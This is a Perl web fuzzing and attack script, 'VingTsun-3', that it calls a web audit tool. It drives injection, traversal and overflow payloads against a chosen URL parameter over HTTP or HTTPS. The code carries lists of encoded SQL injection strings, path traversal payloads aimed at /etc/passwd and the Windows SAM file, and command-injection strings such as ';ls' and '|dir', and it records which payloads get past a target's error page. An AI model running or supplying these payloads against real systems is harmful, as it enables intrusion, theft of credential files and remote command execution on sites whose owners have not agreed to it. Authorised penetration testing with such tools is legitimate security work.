#!/usr/bin/perl -w
#Server side code numeric/text bruteforce via GET and POST and overflow test
#jolmos@isecauditors.com

use IO::Socket;
use IO::Socket::SSL;
require Term::Screen;

#Ex:
#./vingtsun.pl 127.0.0.1 80 /x.php?a=si id 0 1000 denied num
# . . .
# Don't get denied with url:  http://127.0.0.1:80/x.php?a=si&id=33
#
#
#./vingtsun.pl 127.0.0.1 80 /x.php?id=33 a d  2 denied chr
# . . . (2 digit, starting from d, bruteforcing a variable)
# Don't get denied with url:   http://127.0.0.1:80/x.php?id=33&a=si
#
#
#./vingtsun.pl 127.0.0.1 80 /x.php?a=si id 30 1000 denied ovflow
# . . . (from 30 to 100 characters to find the overflow precision)
# NOTE:255 limitation to get, theoretically.
#
#TODO: buscar extension index de directorio
#	probar nulos
#	probar el $xss
#	que el ovflow no sea secuencial, sino de mitad en mitad
#	atakes via cookie
#	hacer version LWP
#	mejorar ataques injection
#	poner todos los parametros y que haga todas las pruebas por todos.
#	en cuanto funciona el overflow deberia de parar y no pushear todo en resultados
#	boorrar ultimo test realizado
#	msg final del html por si da timeout

#CLF: spider saca los comentarios, localiza codigo de servidor y los parametros get y post
#     lanza ataques a los parámetros get y post
#     detectar tecnologia y buscar en google mas codigos de servidor

print "\n";
&usage if (@ARGV!=9 && @ARGV!=10); 

$scr = new Term::Screen;
$scr->clrscr();


#my $magic='\\ª!|@"\'º$·%&/()=?¿¡^*+`\'ç}{][-_.:,;<>%00&#39;';
#my $umagic='%27%5c%5c%c2%aa%21%7c%40%22%5c%27%c2%ba%24%c2%b7%25%26%2f%28%29%3d%3f%c2%bf%c2%a1%5e%2a%2b%60%5c%27%c3%a7%7d%7b%5d%5b%2d%5f%2e%3a%2c%3b%3c%3e';
#$unreserved='_ . ! ~ * \' ( )';
#$reserved='; / ? : @ & = + $ , ';

#Intento de provocar un error sql, es posible que no haya stderr
my @inj=('\'','"','\'\'','""','\\\'','\\"','%27','%22','%27%27','%22%22','%5c%27','%5c%22','%26#39;','%26#34;','%26#39;26#39;','%26#34;%26#34;','%26#92;%26#39;','%26#92;%26#34;','%9239','%25%32%37','%25%32%32','%25%32%37%25%32%37','%25%32%32%25%32%32','%25%35%63%25%32%37','%25%35%63%25%32%32','%%27','%%22','%%27%%27','%%22%%22','%255c%%27','%255c','%%22','%%327','%%32','%25%32%35%25%33%32%25%33%32','%25%32%35%25%33%32%25%33%32','%u0027','%u0022','or--','4294967294','%25%32%37','%25%32%37or1=1--','%25%32%37or%25%32%37%25%32%37=%25%32%37','\'or+1+in(select+1+from+dba_users)--','\'or+1+in(select+1+from+all_users)--','%25%32%37%25%36%66%25%37%32%25%32%62%25%33%31%25%32%62%25%36%39%25%36%65%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%62%25%33%31%25%32%62%25%36%36%25%37%32%25%36%66%25%36%64%25%32%62%25%36%34%25%36%32%25%36%31%25%35%66%25%37%35%25%37%33%25%36%35%25%37%32%25%37%33%25%32%39%25%32%64%25%32%64','%25%32%37%25%36%66%25%37%32%25%32%62%25%33%31%25%32%62%25%36%39%25%36%65%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%62%25%33%31%25%32%62%25%36%36%25%37%32%25%36%66%25%36%64%25%32%62%25%36%31%25%36%63%25%36%63%25%35%66%25%37%35%25%37%33%25%36%35%25%37%32%25%37%33%25%32%39%25%32%64%25%32%64');

my @trn=('\config.sys','/config.sys','../../../../../../../../../config.sys','..\..\..\..\..\..\..\..\..\..\..\config.sys','%5cconfig.sys','%2fconfig.sys','%%35cconfig.sys','%%32fconfig.sys','%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fconfig.sys','%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cconfig.sys','/etc/passwd','../../../../../../../../../etc/passwd','%2fetc%2fpasswd','%%32fetc%%32fpasswd','%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd','.','..','*','%systemroot%\repair\sam','%25%73%79%73%74%65%6d%72%6f%6f%74%25%72%65%70%61%69%72%73%61%6d','%25%32%35%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%37%32%25%36%66%25%36%66%25%37%34%25%32%35%25%37%32%25%36%35%25%37%30%25%36%31%25%36%39%25%37%32%25%37%33%25%36%31%25%36%64','%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64','%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34','</etc/passwd','<%systemroot%\repair\sam','%0d%0a/etc/hosts','%0d%0a/etc/passwd','+HTTP/1.0%0d%0a%0d%0a%00','%00');

my @ejec=('`dir`','|dir','dir|',';dir',';ls%26+#','%26%26ls','%25%36%30%25%36%34%25%36%39%25%37%32%25%36%30','%25%37%63%25%36%34%25%36%39%25%37%32','%25%36%34%25%36%39%25%37%32%25%37%63','%25%33%62%25%36%34%25%36%39%25%37%32','%25%33%62%25%36%63%25%37%33%25%32%35%25%33%32%25%33%36%25%32%30%25%32%33','%00dir|','http://www.google.com','>index.html','/*','//','#','^','\\');

my @ua=('Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 (Ubuntu package 1.0.8)','');


my $xss='"><h1>VINGTSUN</h1><!--';
my $i;
my $ok=0;
my $host=$ARGV[0];
my $port=$ARGV[1];
my $obj=$ARGV[2];
my $var=$ARGV[3];
my $ini=$ARGV[4];
my $fin=$ARGV[5];
my $bad=$ARGV[6];
my $typ=$ARGV[7];
my $act=$ARGV[8];
my $cookie="";
my $DEBUG=0;
my $alarma=0;
my $sock;
my @resultado_final;
my $s=''; # http(s) ?

$cookie = "Cookie: ".$ARGV[9]."\r\n" if (@ARGV==10);

$scr->at(5,18)->bold()->puts("vingtsun-3 by Sha0")->normal();


$scr->at(7,10);
my $amp='&' if (!($obj =~ /\&$/g));

open FF, ">/tmp/vingtsun.$$.html";
print FF "<html><head><title>VingTsun-3.pl results (by Sha0)</title></head><body>";


&mode_numeric 	if ($typ eq 'num');
&mode_ovflow  	if ($typ eq 'ovflow');
&mode_attack  	if ($typ eq 'attack');
&mode_injection if ($typ eq 'inj');
&mode_chr	if ($typ eq 'chr');
&mode_transv	if ($typ eq 'transv');
&mode_exec      if ($typ eq 'exec');


if ($typ eq 'all' || $typ eq 'uagent') {
	&mode_injection; 
	&mode_attack;    
	&mode_ovflow;    
	&mode_transv;	 
	&mode_exec;
	#&mode_numeric;
	#&mode_chr;
}

print FF "</body></html>";
close FF;

        $scr->at(11,0);
        $scr->clreos();


print "Bad luck\n" if ($ok == 0);
print "Results in /tmp/vingtsun.$$.html\n" if ($ok != 0);

sub mode_numeric {
        for ($i=$ini;$i<=$fin;$i++) {
                &envia ($i);
        }
}

sub mode_ovflow {
	for ($i=$ini;$i<=$fin;$i++) {
		&envia ("A"x$i);
	}
}

sub mode_attack {
	for ($i=0;$i<256;$i++) {
	        &envia("%".sprintf("%lx",$i));
                #&envia(chr($i));
        }
}

sub mode_injection {
	foreach $att (@inj) {
		&envia ($att);
	}
}

sub mode_chr {
	$i=$ini;
	while (length($i)<=$fin) {
		&envia ($i++);
	}
}

sub mode_transv {
	foreach $i (@trn) {
                &envia ($i);
		&envia ($i.'%00');
        }
}

sub mode_exec {
        foreach $i (@ejec) {
                &envia ($i);
        }
}


sub envia {
	local $num=$_[0];
        local @pet;
        local $post;
	local $resp="";
        local $l=0;
	local $okr=0;

	if  ($host =~ /https/ig || $s eq 's') {
		$host=~s/https:\/\///ig;
		$s='s';
		$sock = new IO::Socket::SSL("$host:https");
	} else {
		$host=~s/http:\/\///ig;
		$sock=IO::Socket::INET->new(
			PeerPort=>$port,
			PeerAddr=>$host,
			Timeout=>30
		) or die "Cannot connect $!";
	}
	

        $obj.='?' if (!($obj =~ /\?/));
        @pet = split(/\?/,$obj);
        if ($#pet>0) {
                $post=$pet[1];
                $l=length($post)+length($var)+ 2 +length($num);
        } else {
                $post='';
                $l=length($var)+ 1 +length($num);
        }


	if ($act eq "post") {

		if ($typ eq 'uagent') {
			print $sock "POST $pet[0] HTTP/1.1\r\nHost: $host\r\nUser-Agent: $num\r\nContent-Type: application/x-www-form-urlencoded\r\n".$cookie."Content-Length: $l\r\n\r\n$post\r\n\r\n";
		} else {
			print $sock "POST $pet[0] HTTP/1.1\r\nHost: $host\r\nUser-Agent: $ua[0]\r\nContent-Type: application/x-www-form-urlencoded\r\n".$cookie."Content-Length: $l\r\n\r\n$post".$amp."$var=$num\r\n\r\n";
		}


		print "POST $pet[0] HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\n".$cookie."Content-Length: $l\r\n\r\n$post".$amp."$var=$num\r\n\r\n" if ($DEBUG);
	} else {

		if ($typ eq 'uagent') {
			print $sock "GET $obj HTTP/1.1\r\nHost: $host\r\nUser-Agent: $num\r\n".$cookie."Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n\r\n";
		} else {
			print $sock "GET $obj$amp$var=$num HTTP/1.1\r\nHost: $host\r\nUser-Agent: $ua[0]\r\n".$cookie."Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n\r\n";
		}


		print "GET $obj$amp$var=$num HTTP/1.1\r\nHost: $host\r\n".$cookie."Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n\r\n" if ($DEBUG);
	}

	local $SIG{"ALRM"} = sub { die "Timeout\t\t" };
	alarm (30);

	#$resp=<$sock>;
	#$resp=<$sock> if ($resp =~ /500 Internal Server Error/ig);

	#print $resp;
	#goto sig;

	#anulado:
	while (<$sock>) {
		$resp.=$_;
		goto sig if ($_ =~ /<\/html>/i);
		goto sig if ($_ =~ /size=2>, line/i);
		goto sig if ($_ =~ /contact the site administrator./i);
		goto sig if ($_ =~ /Object moved/i);
		#goto sig if ($_ =~ /archivo\./i);
	}
sig:
	alarm(0);

	#open DBGFILE, ">>/tmp/dbg";
	#print DBGFILE $resp;
	#close DBGFILE;

	$scr->at(11,0);
	$scr->clreos();

	$scr->puts("http$s://$host:$port$obj$amp$var=<".length($num)." bytes> \n") if ($typ eq 'ovflow'); #(length($num)>80);
	$scr->puts("http$s://$host:$port$obj$amp$var=".$num." \n") if ($typ ne 'ovflow'); #(length($num)<=80);
	$scr->at(15,5);

	#$src->at(18,2);
		
	if ($resp =~ /$bad/) {
		print "$num \n" if ($DEBUG);
	} else {
		$okr=0;
		$scr->at(15,5);
		
		if ($typ eq 'ovflow') {
			#print "Don't get $bad with ".length($num)." bytes\n";
			print FF "<br><br>Don't get \"$bad\" with ".length($num)." bytes<br><br>\n";
		} else {
			#print "\nDon't get $bad with url:   http$s://$host:$port$obj$amp$var=$num \n";
			print FF "<br><br>Don't get \"$bad\" with url:<br><a href=\"http$s://$host:$port$obj$amp$var=$num\">$var=$num</a><br><br>\n";
		}
		$ok=1;
		$okr=1;

	#Solo se ve lo que recibimos del webserver si desaparece la palabra solicitada	
	}

	$resp=~s/\t//ig;
	$resp=~s/\r//ig;
	$resp=~s/\<[#\@a-zA-Z0-9'"% -_.=\/?]+\>//ig;
	$resp=~s/\n/<br>/ig;
	$resp=~s/  //ig;
	$resp=~s/<br><br>//ig;
	$resp=~s/<br> {1,100}<br>//ig;
	print FF "\n<pre>$resp</pre>\n\n" if ($okr==1);
	$resp=~s/<br>/  /ig;

	$scr->at(20,5);
	$scr->puts($1) if ($resp=~/(.{1,3000})/ig);
	
	$scr->at(11,5);

	close $sock;
}

sub usage {

print q{
	VingTsun web audit tool, 

 Usage:
  ./VingTsun.pl  http(s)://<host> <port> <"/directory/target.xxx?var1=hi"> <var to attack> <min value> <max value/digits> <"error message">  <mode> <method: get/post>  [<cookie>]


		modes:
			num		variable value will be from min to max
			chr		variable vlaue will start with <min value> characters and will take a <max value> length like a bruteforce
			ovflow		variable will be overflowed with 'A' chars from <min value> to <max value> number of A's
			attack		variable value will be from %00 to %ff
			inj		variable will be attacked with sql inyection enconded in diferent ways
			transv		transversal directory
			exec		try to execute remote commands
			all		Test inj, exec, attack and ovflow
			uagent		User-agent fuzz

		The cookie is optional.

		Error missage, is the word you want to dissapear of the output, when an attack makes some change in the normal
		response, and disapear the "error message" of the output, this will be logged to /tmp/vingtsun.<pid>.html
};

	exit 0;
}

